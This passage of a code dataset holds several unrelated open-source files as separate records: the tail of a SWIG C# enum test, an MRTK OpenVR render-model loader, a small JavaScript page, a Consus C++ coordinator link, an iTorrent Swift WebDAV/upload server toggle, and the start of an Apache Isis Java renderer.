Exception(\"ignoreDTest 22 failed\");\n } \n { \n if (enum_thorough_typesafe.ignoreETest(IgnoreTest.IgnoreE.ignoreE_zero).swigValue != 0) throw new Exception(\"ignoreETest 0 failed\");\n if (enum_thorough_typesafe.ignoreETest(IgnoreTest.IgnoreE.ignoreE_twenty_one).swigValue != 21) throw new Exception(\"ignoreETest 21 failed\");\n if (enum_thorough_typesafe.ignoreETest(IgnoreTest.IgnoreE.ignoreE_twenty_two).swigValue != 22) throw new Exception(\"ignoreETest 22 failed\");\n }\n // ignore enum item tests end\n {\n if (enum_thorough_typesafe.repeatTest(repeat.one).swigValue != 1) throw new Exception(\"repeatTest 1 failed\");\n if (enum_thorough_typesafe.repeatTest(repeat.initial).swigValue != 1) throw new Exception(\"repeatTest 2 failed\");\n if (enum_thorough_typesafe.repeatTest(repeat.two).swigValue != 2) throw new Exception(\"repeatTest 3 failed\");\n if (enum_thorough_typesafe.repeatTest(repeat.three).swigValue != 3) throw new Exception(\"repeatTest 4 failed\");\n if (enum_thorough_typesafe.repeatTest(repeat.llast).swigValue != 3) throw new Exception(\"repeatTest 5 failed\");\n if (enum_thorough_typesafe.repeatTest(repeat.end).swigValue != 3) throw new Exception(\"repeatTest 6 failed\");\n }\n {\n if (enum_thorough_typesafe.enumWithMacroTest(enumWithMacro.ABCD).swigValue != (('A' << 24) | ('B' << 16) | ('C' << 8) | 'D')) throw new Exception(\"enumWithMacroTest 1 failed\");\n if (enum_thorough_typesafe.enumWithMacroTest(enumWithMacro.ABCD2).swigValue != enum_thorough_typesafe.enumWithMacroTest(enumWithMacro.ABCD).swigValue) throw new Exception(\"enumWithMacroTest 2 failed\");\n }\n // different types\n {\n if (enum_thorough_typesafe.differentTypesTest(DifferentTypes.typeint).swigValue != 10) throw new Exception(\"differentTypes 1 failed\");\n if (enum_thorough_typesafe.differentTypesTest(DifferentTypes.typebooltrue).swigValue != 1) throw new Exception(\"differentTypes 2 failed\");\n if (enum_thorough_typesafe.differentTypesTest(DifferentTypes.typebooltwo).swigValue != 2) throw new Exception(\"differentTypes 3 failed\");\n if (enum_thorough_typesafe.differentTypesTest(DifferentTypes.typeboolfalse).swigValue != 0) throw new Exception(\"differentTypes 4 failed\");\n if (enum_thorough_typesafe.differentTypesTest(DifferentTypes.typechar).swigValue != (int)'C') throw new Exception(\"differentTypes 5 failed\");\n if (enum_thorough_typesafe.differentTypesTest(DifferentTypes.typedefaultint).swigValue != (int)'D') throw new Exception(\"differentTypes 6 failed\");\n if (enum_thorough_typesafe.differentTypesTest(DifferentTypes.typecharcompound).swigValue != (int)'A' + 1) throw new Exception(\"differentTypes 7 failed\");\n if (enum_thorough_typesafe.differentTypesTest(DifferentTypes.typecharcompound2).swigValue != (int)'B' << 2) throw new Exception(\"differentTypes 8 failed\");\n\n int global_enum = enum_thorough_typesafe.global_typeint;\n if (enum_thorough_typesafe.globalDifferentTypesTest(global_enum) != 10) throw new Exception(\"global differentTypes 1 failed\");\n global_enum = enum_thorough_typesafe.global_typeboolfalse;\n if (enum_thorough_typesafe.globalDifferentTypesTest(global_enum) != 0) throw new Exception(\"global differentTypes 2 failed\");\n global_enum = enum_thorough_typesafe.global_typebooltrue;\n if (enum_thorough_typesafe.globalDifferentTypesTest(global_enum) != 1) throw new Exception(\"global differentTypes 3 failed\");\n global_enum = enum_thorough_typesafe.global_typebooltwo;\n if (enum_thorough_typesafe.globalDifferentTypesTest(global_enum) != 2) throw new Exception(\"global differentTypes 4 failed\");\n global_enum = enum_thorough_typesafe.global_typechar;\n if (enum_thorough_typesafe.globalDifferentTypesTest(global_enum) != 'C') throw new Exception(\"global differentTypes 5 failed\");\n global_enum = enum_thorough_typesafe.global_typedefaultint;\n if (enum_thorough_typesafe.globalDifferentTypesTest(global_enum) != 'D') throw new Exception(\"global differentTypes 6 failed\");\n global_enum = enum_thorough_typesafe.global_typecharcompound;\n if (enum_thorough_typesafe.globalDifferentTypesTest(global_enum) != (int)'A' + 1) throw new Exception(\"global differentTypes 7 failed\");\n global_enum = enum_thorough_typesafe.global_typecharcompound2;\n if (enum_thorough_typesafe.globalDifferentTypesTest(global_enum) != (int)'B' << 2) throw new Exception(\"global differentTypes 8 failed\");\n }\n }\n}\n\n"} {"text": "// Copyright (c) Microsoft Corporation.\n// Licensed under the MIT License.\n\n//======= Copyright (c) Valve Corporation, All rights reserved. ===============\n//\n// Purpose: Render model of associated tracked object\n//\n//=============================================================================\n\nusing Microsoft.MixedReality.Toolkit.OpenVR.Headers;\nusing Microsoft.MixedReality.Toolkit.Utilities;\nusing System.Collections;\nusing System.Runtime.InteropServices;\nusing UnityEngine;\n\nnamespace Microsoft.MixedReality.Toolkit.OpenVR.Input\n{\n /// <summary>\n /// Represents and loads models from the OpenVR APIs. This class is based on the SteamVR_RenderModel class.\n /// </summary>\n [AddComponentMenu(\"Scripts/MRTK/Providers/OpenVRRenderModel\")]\n public class OpenVRRenderModel : MonoBehaviour\n {\n private class RenderModel\n {\n public RenderModel(Mesh mesh, Material material)\n {\n Mesh = mesh;\n Material = material;\n }\n public Mesh Mesh { get; private set; }\n public Material Material { get; private set; }\n }\n\n private static readonly Hashtable models = new Hashtable();\n private static readonly Hashtable materials = new Hashtable();\n\n private string renderModelName = string.Empty;\n\n internal Shader shader = null;\n\n /// <summary>\n /// Attempts to load or reload a controller model based on the passed in handedness.\n /// </summary>\n /// <param name=\"handedness\">The handedness of the controller model to load.</param>\n /// <returns>True if the controller model was found and loaded. False otherwise.</returns>\n public bool LoadModel(Handedness handedness)\n {\n var system = Headers.OpenVR.System;\n if (system == null)\n {\n return false;\n }\n\n var error = ETrackedPropertyError.TrackedProp_Success;\n uint index = system.GetTrackedDeviceIndexForControllerRole(handedness == Handedness.Left ? ETrackedControllerRole.LeftHand : ETrackedControllerRole.RightHand);\n var capacity = system.GetStringTrackedDeviceProperty(index, ETrackedDeviceProperty.Prop_RenderModelName_String, null, 0, ref error);\n if (capacity <= 1)\n {\n Debug.LogError(\"Failed to get render model name for tracked object \" + index);\n return false;\n }\n\n var buffer = new System.Text.StringBuilder((int)capacity);\n system.GetStringTrackedDeviceProperty(index, ETrackedDeviceProperty.Prop_RenderModelName_String, buffer, capacity, ref error);\n\n var s = buffer.ToString();\n if (renderModelName != s)\n {\n StartCoroutine(SetModelAsync(s));\n }\n\n return true;\n }\n\n private IEnumerator SetModelAsync(string newRenderModelName)\n {\n if (string.IsNullOrEmpty(newRenderModelName))\n {\n yield break;\n }\n\n // Pre-load all render models before asking for the data to create meshes.\n CVRRenderModels renderModels = Headers.OpenVR.RenderModels;\n if (renderModels == null)\n {\n yield break;\n }\n\n // Gather names of render models to pre-load.\n string[] renderModelNames;\n\n uint count = renderModels.GetComponentCount(newRenderModelName);\n if (count > 0)\n {\n renderModelNames = new string[count];\n\n for (int componentIndex = 0; componentIndex < count; componentIndex++)\n {\n uint capacity = renderModels.GetComponentName(newRenderModelName, (uint)componentIndex, null, 0);\n if (capacity == 0)\n {\n continue;\n }\n\n var componentNameStringBuilder = new System.Text.StringBuilder((int)capacity);\n if (renderModels.GetComponentName(newRenderModelName, (uint)componentIndex, componentNameStringBuilder, capacity) == 0)\n {\n continue;\n }\n\n string componentName = componentNameStringBuilder.ToString();\n\n capacity = renderModels.GetComponentRenderModelName(newRenderModelName, componentName, null, 0);\n if (capacity == 0)\n {\n continue;\n }\n\n var nameStringBuilder = new System.Text.StringBuilder((int)capacity);\n if (renderModels.GetComponentRenderModelName(newRenderModelName, componentName, nameStringBuilder, capacity) == 0)\n {\n continue;\n }\n\n var s = nameStringBuilder.ToString();\n\n // Only need to pre-load if not already cached.\n if (!(models[s] is RenderModel model) || model.Mesh == null)\n {\n renderModelNames[componentIndex] = s;\n }\n }\n }\n else\n {\n // Only need to pre-load if not already cached.\n if (!(models[newRenderModelName] is RenderModel model) || model.Mesh == null)\n {\n renderModelNames = new string[] { newRenderModelName };\n }\n else\n {\n renderModelNames = System.Array.Empty<string>();\n }\n }\n\n // Keep trying every 100ms until all components finish loading.\n while (true)\n {\n var loading = false;\n for (int renderModelNameIndex = 0; renderModelNameIndex < renderModelNames.Length; renderModelNameIndex++)\n {\n if (string.IsNullOrEmpty(renderModelNames[renderModelNameIndex]))\n {\n continue;\n }\n\n var pRenderModel = System.IntPtr.Zero;\n\n var error = renderModels.LoadRenderModel_Async(renderModelNames[renderModelNameIndex], ref pRenderModel);\n\n if (error == EVRRenderModelError.Loading)\n {\n loading = true;\n }\n else if (error == EVRRenderModelError.None)\n {\n // Pre-load textures as well.\n var renderModel = MarshalRenderModel(pRenderModel);\n\n // Check the cache first.\n var material = materials[renderModel.diffuseTextureId] as Material;\n if (material == null || material.mainTexture == null)\n {\n var pDiffuseTexture = System.IntPtr.Zero;\n\n error = renderModels.LoadTexture_Async(renderModel.diffuseTextureId, ref pDiffuseTexture);\n\n if (error == EVRRenderModelError.Loading)\n {\n loading = true;\n }\n }\n }\n }\n\n if (loading)\n {\n yield return new WaitForSecondsRealtime(0.1f);\n }\n else\n {\n break;\n }\n }\n\n SetModel(newRenderModelName);\n renderModelName = newRenderModelName;\n }\n\n private bool SetModel(string renderModelName)\n {\n StripMesh(gameObject);\n\n if (!string.IsNullOrEmpty(renderModelName))\n {\n var model = models[renderModelName] as RenderModel;\n if (model == null || model.Mesh == null)\n {\n var renderModels = Headers.OpenVR.RenderModels;\n if (renderModels == null)\n {\n return false;\n }\n\n model = LoadRenderModel(renderModels, renderModelName, renderModelName);\n if (model == null)\n {\n return false;\n }\n\n models[renderModelName] = model;\n }\n\n gameObject.AddComponent<MeshFilter>().mesh = model.Mesh;\n MeshRenderer newRenderer = gameObject.AddComponent<MeshRenderer>();\n newRenderer.sharedMaterial = model.Material;\n return true;\n }\n\n return false;\n }\n\n private RenderModel LoadRenderModel(CVRRenderModels renderModels, string renderModelName, string baseName)\n {\n var pRenderModel = System.IntPtr.Zero;\n\n EVRRenderModelError error;\n while (true)\n {\n error = renderModels.LoadRenderModel_Async(renderModelName, ref pRenderModel);\n if (error != EVRRenderModelError.Loading)\n break;\n\n Sleep();\n }\n\n if (error != EVRRenderModelError.None)\n {\n Debug.LogError(string.Format(\"Failed to load render model {0} - {1}\", renderModelName, error.ToString()));\n return null;\n }\n\n var renderModel = MarshalRenderModel(pRenderModel);\n\n var vertices = new Vector3[renderModel.unVertexCount];\n var normals = new Vector3[renderModel.unVertexCount];\n var uv = new Vector2[renderModel.unVertexCount];\n\n var type = typeof(RenderModel_Vertex_t);\n for (int iVert = 0; iVert < renderModel.unVertexCount; iVert++)\n {\n var ptr = new System.IntPtr(renderModel.rVertexData.ToInt64() + iVert * Marshal.SizeOf(type));\n var vert = (RenderModel_Vertex_t)Marshal.PtrToStructure(ptr, type);\n\n vertices[iVert] = new Vector3(vert.vPosition.v0, vert.vPosition.v1, -vert.vPosition.v2);\n normals[iVert] = new Vector3(vert.vNormal.v0, vert.vNormal.v1, -vert.vNormal.v2);\n uv[iVert] = new Vector2(vert.rfTextureCoord0, vert.rfTextureCoord1);\n }\n\n int indexCount = (int)renderModel.unTriangleCount * 3;\n var indices = new short[indexCount];\n Marshal.Copy(renderModel.rIndexData, indices, 0, indices.Length);\n\n var triangles = new int[indexCount];\n for (int iTri = 0; iTri < renderModel.unTriangleCount; iTri++)\n {\n triangles[iTri * 3 + 0] = (int)indices[iTri * 3 + 2];\n triangles[iTri * 3 + 1] = (int)indices[iTri * 3 + 1];\n triangles[iTri * 3 + 2] = (int)indices[iTri * 3 + 0];\n }\n\n var mesh = new Mesh\n {\n vertices = vertices,\n normals = normals,\n uv = uv,\n triangles = triangles\n };\n\n // Check cache before loading texture.\n var material = materials[renderModel.diffuseTextureId] as Material;\n if (material == null || material.mainTexture == null)\n {\n var pDiffuseTexture = System.IntPtr.Zero;\n\n while (true)\n {\n error = renderModels.LoadTexture_Async(renderModel.diffuseTextureId, ref pDiffuseTexture);\n if (error != EVRRenderModelError.Loading)\n {\n break;\n }\n\n Sleep();\n }\n\n if (error == EVRRenderModelError.None)\n {\n var diffuseTexture = MarshalRenderModel_TextureMap(pDiffuseTexture);\n var texture = new Texture2D(diffuseTexture.unWidth, diffuseTexture.unHeight, TextureFormat.RGBA32, false);\n if (SystemInfo.graphicsDeviceType == UnityEngine.Rendering.GraphicsDeviceType.Direct3D11)\n {\n texture.Apply();\n System.IntPtr texturePointer = texture.GetNativeTexturePtr();\n while (true)\n {\n error = renderModels.LoadIntoTextureD3D11_Async(renderModel.diffuseTextureId, texturePointer);\n if (error != EVRRenderModelError.Loading)\n {\n break;\n }\n\n Sleep();\n }\n }\n else\n {\n var textureMapData = new byte[diffuseTexture.unWidth * diffuseTexture.unHeight * 4]; // RGBA\n Marshal.Copy(diffuseTexture.rubTextureMapData, textureMapData, 0, textureMapData.Length);\n\n var colors = new Color32[diffuseTexture.unWidth * diffuseTexture.unHeight];\n int iColor = 0;\n for (int iHeight = 0; iHeight < diffuseTexture.unHeight; iHeight++)\n {\n for (int iWidth = 0; iWidth < diffuseTexture.unWidth; iWidth++)\n {\n var r = textureMapData[iColor++];\n var g = textureMapData[iColor++];\n var b = textureMapData[iColor++];\n var a = textureMapData[iColor++];\n colors[iHeight * diffuseTexture.unWidth + iWidth] = new Color32(r, g, b, a);\n }\n }\n\n texture.SetPixels32(colors);\n texture.Apply();\n }\n\n material = new Material(shader != null ? shader : Shader.Find(\"Mixed Reality Toolkit/Standard\"))\n {\n mainTexture = texture\n };\n\n materials[renderModel.diffuseTextureId] = material;\n\n renderModels.FreeTexture(pDiffuseTexture);\n }\n else\n {\n Debug.Log(\"Failed to load render model texture for render model \" + renderModelName + \". Error: \" + error.ToString());\n }\n }\n\n // Delay freeing when we can since we'll often get multiple requests for the same model right\n // after another (e.g. two controllers or two base stations).\n#if UNITY_EDITOR\n if (!Application.isPlaying)\n {\n renderModels.FreeRenderModel(pRenderModel);\n }\n else\n#endif\n {\n StartCoroutine(FreeRenderModel(pRenderModel));\n }\n\n return new RenderModel(mesh, material);\n }\n\n private IEnumerator FreeRenderModel(System.IntPtr pRenderModel)\n {\n yield return new WaitForSeconds(1.0f);\n Headers.OpenVR.RenderModels.FreeRenderModel(pRenderModel);\n }\n\n private void StripMesh(GameObject go)\n {\n var meshRenderer = go.GetComponent<MeshRenderer>();\n if (meshRenderer != null)\n {\n DestroyImmediate(meshRenderer);\n }\n\n var meshFilter = go.GetComponent<MeshFilter>();\n if (meshFilter != null)\n {\n DestroyImmediate(meshFilter);\n }\n }\n\n private static void Sleep()\n {\n#if !UNITY_WSA\n System.Threading.Thread.Sleep(1);\n#endif\n }\n\n private RenderModel_t MarshalRenderModel(System.IntPtr pRenderModel)\n {\n#if !ENABLE_DOTNET\n if ((System.Environment.OSVersion.Platform == System.PlatformID.MacOSX) ||\n (System.Environment.OSVersion.Platform == System.PlatformID.Unix))\n {\n var packedModel = (RenderModel_t_Packed)Marshal.PtrToStructure(pRenderModel, typeof(RenderModel_t_Packed));\n RenderModel_t model = new RenderModel_t();\n packedModel.Unpack(ref model);\n return model;\n }\n else\n#endif\n {\n return (RenderModel_t)Marshal.PtrToStructure(pRenderModel, typeof(RenderModel_t));\n }\n }\n\n private RenderModel_TextureMap_t MarshalRenderModel_TextureMap(System.IntPtr pRenderModel)\n {\n#if !ENABLE_DOTNET\n if ((System.Environment.OSVersion.Platform == System.PlatformID.MacOSX) ||\n (System.Environment.OSVersion.Platform == System.PlatformID.Unix))\n {\n var packedModel = (RenderModel_TextureMap_t_Packed)Marshal.PtrToStructure(pRenderModel, typeof(RenderModel_TextureMap_t_Packed));\n RenderModel_TextureMap_t model = new RenderModel_TextureMap_t();\n packedModel.Unpack(ref model);\n return model;\n }\n else\n#endif\n {\n return (RenderModel_TextureMap_t)Marshal.PtrToStructure(pRenderModel, typeof(RenderModel_TextureMap_t));\n }\n }\n }\n}\n"} {"text": "Page({\r\n data: {\r\n status: 'loading'\r\n },\r\n handlerNoMore() {\r\n this.setData({\r\n status: 'nomore'\r\n });\r\n },\r\n handlerEmpty() {\r\n this.setData({\r\n status: 'empty'\r\n });\r\n }\r\n})"} {"text": "// Copyright (c) 2015-2016, Robert Escriva, Cornell University\n// All rights reserved.\n//\n// Redistribution and use in source and binary forms, with or without\n// modification, are permitted provided that the following conditions are met:\n//\n// * Redistributions of source code must retain the above copyright notice,\n// this list of conditions and the following disclaimer.\n// * Redistributions in binary form must reproduce the above copyright\n// notice, this list of conditions and the following disclaimer in the\n// documentation and/or other materials provided with the distribution.\n// * Neither the name of Consus nor the names of its contributors may be\n// used to endorse or promote products derived from this software without\n// specific prior written permission.\n//\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n// POSSIBILITY OF SUCH DAMAGE.\n\n// C\n#include <stdio.h>\n\n// POSIX\n#include <signal.h>\n\n// Google Log\n#include <glog/logging.h>\n\n// po6\n#include <po6/io/fd.h>\n#include <po6/time.h>\n\n// e\n#include <e/daemon.h>\n#include <e/endian.h>\n\n// consus\n#include \"common/coordinator_returncode.h\"\n#include \"common/coordinator_link.h\"\n\nusing consus::coordinator_link;\n\ncoordinator_link :: coordinator_link(const std::string& rendezvous,\n comm_id id, po6::net::location bind_to,\n const std::string& data_center,\n callback* c/*ownership not transferred*/)\n : m_mtx()\n , m_repl(replicant_client_create_conn_str(rendezvous.c_str()))\n , m_id(id)\n , m_bind_to(bind_to)\n , m_data_center(data_center)\n , m_cb(c)\n , m_config_id(-1)\n , m_config_status(REPLICANT_SUCCESS)\n , m_config_state(0)\n , m_config_data(NULL)\n , m_config_data_sz(0)\n , m_last_config_state(0)\n , m_last_config_valid(false)\n , m_last_online_call(0)\n , m_faf_status(REPLICANT_SUCCESS)\n , m_allow_rereg(false)\n , m_error(false)\n , m_orphaned(false)\n , m_online_once(false)\n , m_backoff(250 * PO6_MILLIS)\n{\n if (!m_repl)\n {\n throw std::bad_alloc();\n }\n\n po6::threads::mutex::hold hold(&m_mtx);\n invariant_check();\n}\n\ncoordinator_link :: ~coordinator_link() throw ()\n{\n replicant_client_destroy(m_repl);\n}\n\nbool\ncoordinator_link :: initial_registration()\n{\n {\n po6::threads::mutex::hold hold(&m_mtx);\n invariant_check();\n\n if (m_error)\n {\n LOG(ERROR) << \"coordinator link failed\";\n return false;\n }\n\n if (!registration())\n {\n return false;\n }\n }\n\n return establish();\n}\n\nbool\ncoordinator_link :: establish()\n{\n {\n po6::threads::mutex::hold hold(&m_mtx);\n invariant_check();\n\n if (m_error)\n {\n LOG(ERROR) << \"coordinator link failed\";\n return false;\n }\n }\n\n maintain_connection();\n po6::threads::mutex::hold hold(&m_mtx);\n return m_last_config_valid;\n}\n\nvoid\ncoordinator_link :: allow_reregistration()\n{\n po6::threads::mutex::hold hold(&m_mtx);\n m_allow_rereg = true;\n}\n\nvoid\ncoordinator_link :: maintain_connection()\n{\n po6::threads::mutex::hold hold(&m_mtx);\n invariant_check();\n\n if (m_error)\n {\n LOG(ERROR) << \"coordinator link failed\";\n return;\n }\n\n std::string cond = m_cb->prefix() + \"conf\";\n\n if (m_config_status != REPLICANT_SUCCESS)\n {\n replicant_client_kill(m_repl, m_config_id);\n m_config_id = -1;\n }\n\n int timeout = 1000;\n\n if (m_config_id < 0)\n {\n m_config_id = replicant_client_cond_follow(m_repl, \"consus\", cond.c_str(),\n &m_config_status, &m_config_state,\n &m_config_data, &m_config_data_sz);\n replicant_returncode rc;\n\n if (replicant_client_wait(m_repl, m_config_id, -1, &rc) < 0 ||\n m_config_status != REPLICANT_SUCCESS)\n {\n LOG(ERROR) << \"coordinator failure: \" << replicant_client_error_message(m_repl);\n return;\n }\n\n timeout = 0;\n }\n\n if (!m_online_once)\n {\n online();\n m_online_once = true;\n m_last_online_call = po6::monotonic_time();\n }\n\n replicant_returncode rc;\n m_mtx.unlock();\n replicant_client_block(m_repl, timeout);\n m_mtx.lock();\n\n if (replicant_client_loop(m_repl, 0, &rc) < 0)\n {\n if (rc == REPLICANT_TIMEOUT ||\n rc == REPLICANT_INTERRUPTED ||\n rc == REPLICANT_NONE_PENDING)\n {\n }\n else if (rc == REPLICANT_COMM_FAILED)\n {\n LOG(ERROR) << \"coordinator failure: \" << replicant_client_error_message(m_repl);\n LOG(ERROR) << \"backing off for \" << (m_backoff / PO6_MILLIS) << \" milliseconds\";\n po6::sleep(m_backoff);\n m_backoff *= 2;\n return;\n }\n else\n {\n LOG(ERROR) << \"coordinator failure: \" << replicant_client_error_message(m_repl);\n return;\n }\n }\n\n m_backoff = 250 * PO6_MILLIS;\n\n if (m_last_config_state < m_config_state)\n {\n m_last_config_valid = m_cb->new_config(m_config_data, m_config_data_sz);\n m_last_config_state = m_config_state;\n\n if (!m_cb->has_id(m_id) && m_allow_rereg)\n {\n registration();\n }\n else if (!m_cb->has_id(m_id))\n {\n m_orphaned = true;\n }\n }\n\n if (m_cb->has_id(m_id) &&\n (!m_cb->is_steady_state(m_id) || m_cb->address(m_id) != m_bind_to))\n {\n const uint64_t now = po6::monotonic_time();\n\n if (m_last_online_call + PO6_SECONDS < now)\n {\n online();\n m_last_online_call = now;\n }\n }\n}\n\nbool\ncoordinator_link :: error()\n{\n po6::threads::mutex::hold hold(&m_mtx);\n return m_error;\n}\n\nbool\ncoordinator_link :: orphaned()\n{\n po6::threads::mutex::hold hold(&m_mtx);\n return m_orphaned;\n}\n\nbool\ncoordinator_link :: call(const char* func,\n const char* input, size_t input_sz,\n coordinator_returncode* rc)\n{\n po6::threads::mutex::hold hold(&m_mtx);\n return call_no_lock(func, input, input_sz, rc);\n}\n\nvoid\ncoordinator_link :: fire_and_forget(const char* func,\n const char* input, size_t input_sz)\n{\n po6::threads::mutex::hold hold(&m_mtx);\n replicant_client_call(m_repl, \"consus\", func, input, input_sz,\n 0, &m_faf_status, NULL, NULL);\n}\n\nvoid\ncoordinator_link :: invariant_check()\n{\n if (!m_repl)\n {\n m_error = true;\n }\n else if (!m_cb)\n {\n m_error = true;\n }\n else if (m_id == comm_id())\n {\n m_error = true;\n }\n}\n\nbool\ncoordinator_link :: call_no_lock(const char* func,\n const char* input, size_t input_sz,\n coordinator_returncode* rc)\n{\n replicant_returncode status;\n char* output = NULL;\n size_t output_sz = 0;\n int64_t req = replicant_client_call(m_repl, \"consus\", func, input, input_sz,\n REPLICANT_CALL_ROBUST,\n &status, &output, &output_sz);\n\n if (req < 0)\n {\n LOG(ERROR) << \"coordinator failure: \" << replicant_client_error_message(m_repl);\n return false;\n }\n\n int64_t loop = replicant_client_wait(m_repl, req, 10000, &status);\n\n if (loop < 0)\n {\n LOG(ERROR) << \"coordinator failure: \" << replicant_client_error_message(m_repl);\n return false;\n }\n\n assert(loop == req);\n\n if (status == REPLICANT_TIMEOUT || status == REPLICANT_INTERRUPTED)\n {\n return false;\n }\n else if (status != REPLICANT_SUCCESS)\n {\n LOG(ERROR) << \"coordinator failure: \" << replicant_client_error_message(m_repl);\n return false;\n }\n\n if (output_sz != 2 || !output)\n {\n LOG(ERROR) << \"coordinator failure: bad response to \" << func << \" request\";\n return false;\n }\n\n uint16_t x;\n e::unpack16be(output, &x);\n *rc = static_cast<coordinator_returncode>(x);\n free(output);\n return true;\n}\n\nbool\ncoordinator_link :: registration()\n{\n std::string func = m_cb->prefix() + \"_register\";\n std::string input;\n e::packer(&input) << m_id << m_bind_to << e::slice(m_data_center);\n coordinator_returncode rc;\n\n if (!call_no_lock(func.c_str(), input.data(), input.size(), &rc))\n {\n return false;\n }\n\n switch (rc)\n {\n case COORD_SUCCESS:\n return true;\n case COORD_DUPLICATE:\n LOG(ERROR) << \"cannot register: another server already registered this identity\";\n return false;\n case COORD_NOT_FOUND:\n LOG(ERROR) << \"cannot register: unknown data center\";\n return false;\n case COORD_MALFORMED:\n case COORD_UNINITIALIZED:\n case COORD_NO_CAN_DO:\n default:\n LOG(ERROR) << \"coordinator failure: bad response to registration request\";\n return false;\n }\n}\n\nbool\ncoordinator_link :: online()\n{\n uint64_t x;\n\n if (!e::generate_token(&x))\n {\n return false;\n }\n\n std::string func1 = m_cb->prefix() + \"_online\";\n std::string func2 = m_cb->prefix() + \"_offline\";\n std::string input;\n e::packer(&input) << m_id << m_bind_to << x;\n replicant_returncode status = REPLICANT_GARBAGE;\n replicant_returncode lstatus = REPLICANT_GARBAGE;\n int64_t req = replicant_client_defended_call(m_repl,\n \"consus\", func1.c_str(), input.data(), input.size(),\n func2.c_str(), input.data(), input.size(), &status);\n\n if (req < 0 ||\n replicant_client_wait(m_repl, req, 10000, &lstatus) != req ||\n status != REPLICANT_SUCCESS)\n {\n LOG(ERROR) << \"coordinator failure: \" << replicant_client_error_message(m_repl);\n return false;\n }\n\n return true;\n}\n\ncoordinator_link :: callback :: callback()\n{\n}\n\ncoordinator_link :: callback :: ~callback() throw ()\n{\n}\n"} {"text": "//\n// Core+WebDavServer.swift\n// iTorrent\n//\n// Created by Daniil Vinogradov on 30.03.2020.\n// Copyright © 2020  XITRIX. All rights reserved.\n//\n\nimport Foundation\nimport GCDWebServer\n\nextension Core {\n func startFileSharing() {\n var options = [String: Any]()\n\n if !UserPreferences.webDavUsername.isEmpty {\n options[GCDWebServerOption_AuthenticationAccounts] = [UserPreferences.webDavUsername: UserPreferences.webDavPassword]\n options[GCDWebServerOption_AuthenticationMethod] = GCDWebServerAuthenticationMethod_DigestAccess\n }\n\n if UserPreferences.webServerEnabled {\n options[GCDWebServerOption_Port] = 80\n if !webUploadServer.isRunning {\n if (try? webUploadServer.start(options: options)) == nil {\n repeat {\n options[GCDWebServerOption_Port] = Int.random(in: 49152 ..< 65535)\n } while (try? webUploadServer.start(options: options)) == nil\n }\n }\n }\n\n if UserPreferences.webDavServerEnabled {\n options[GCDWebServerOption_Port] = UserPreferences.webDavPort\n if !webDAVServer.isRunning {\n try? webDAVServer.start(options: options)\n }\n }\n }\n\n func stopFileSharing() {\n if webUploadServer.isRunning {\n webUploadServer.stop()\n }\n if webDAVServer.isRunning {\n webDAVServer.stop()\n }\n }\n}\n"} {"text": "/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations\n * under the License.\n */\npackage org.apache.isis.viewer.restfulobjects.viewer.resources;\n\nimport java.util.Collection;\nimport java.util.stream.Stream;\n\nimport org.apache.isis.core.metamodel.spec.ManagedObject;\nimport org.apache.isis.core.metamodel.spec.ObjectSpecification;\nimport org.apache.isis.core.security.authentication.AuthenticationSession;\nimport org.apache.isis.viewer.restfulobjects.applib.JsonRepresentation;\nimport org.apache.isis.viewer.restfulobjects.applib.Rel;\nimport org.apache.isis.viewer.restfulobjects.applib.RepresentationType;\nimport org.apache.isis.viewer.restfulobjects.rendering.IResourceContext;\nimport org.apache.isis.viewer.restfulobjects.rendering.LinkBuilder;\nimport org.apache.isis.viewer.restfulobjects.rendering.LinkFollowSpecs;\nimport org.apache.isis.viewer.restfulobjects.rendering.ReprRendererAbstract;\nimport org.apache.isis.viewer.restfulobjects.rendering.domainobjects.DomainServiceLinkTo;\nimport org.apache.isis.viewer.restfulobjects.rendering.domainobjects.ListReprRenderer;\nimport org.apache.isis.viewer.restfulobjects.rendering.domaintypes.TypeListReprRenderer;\n\nimport lombok.val;\n\npublic class HomePageReprRenderer extends ReprRendererAbstract<HomePageReprRenderer, Void> {\n\n HomePageReprRenderer(final IResourceContext resourceContext, final LinkFollowSpecs linkFollower, final JsonRepresentation representation) {\n super(resourceContext, linkFollower, RepresentationType.HOME_PAGE, representation);\n }\n\n @Override\n public HomePageReprRenderer with(final Void t) {\n return this;\n }\n\n @Override\n public JsonRepresentation render() {\n\n // self\n if (includesSelf) {\n addLinkToSelf();\n }\n\n val metaModelContext = super.getResourceContext().getMetaModelContext();\n\n addLinkToUser(getResourceContext().getAuthenticationSessionTracker().getAuthenticationSessionElseFail());\n addLinkToMenuBars();\n addLinkToServices(metaModelContext.streamServiceAdapters());\n addLinkToVersion();\n addLinkToDomainTypes(getResourceContext().getSpecificationLoader().snapshotSpecifications());\n\n // inks and extensions\n representation.mapPut(\"extensions\", JsonRepresentation.newMap());\n\n return representation;\n }\n\n private void addLinkToSelf() {\n final JsonRepresentation link = LinkBuilder.newBuilder(\n resourceContext, \n Rel.SELF.getName(), \n RepresentationType.HOME_PAGE, \n \"\")\n .build();\n\n final 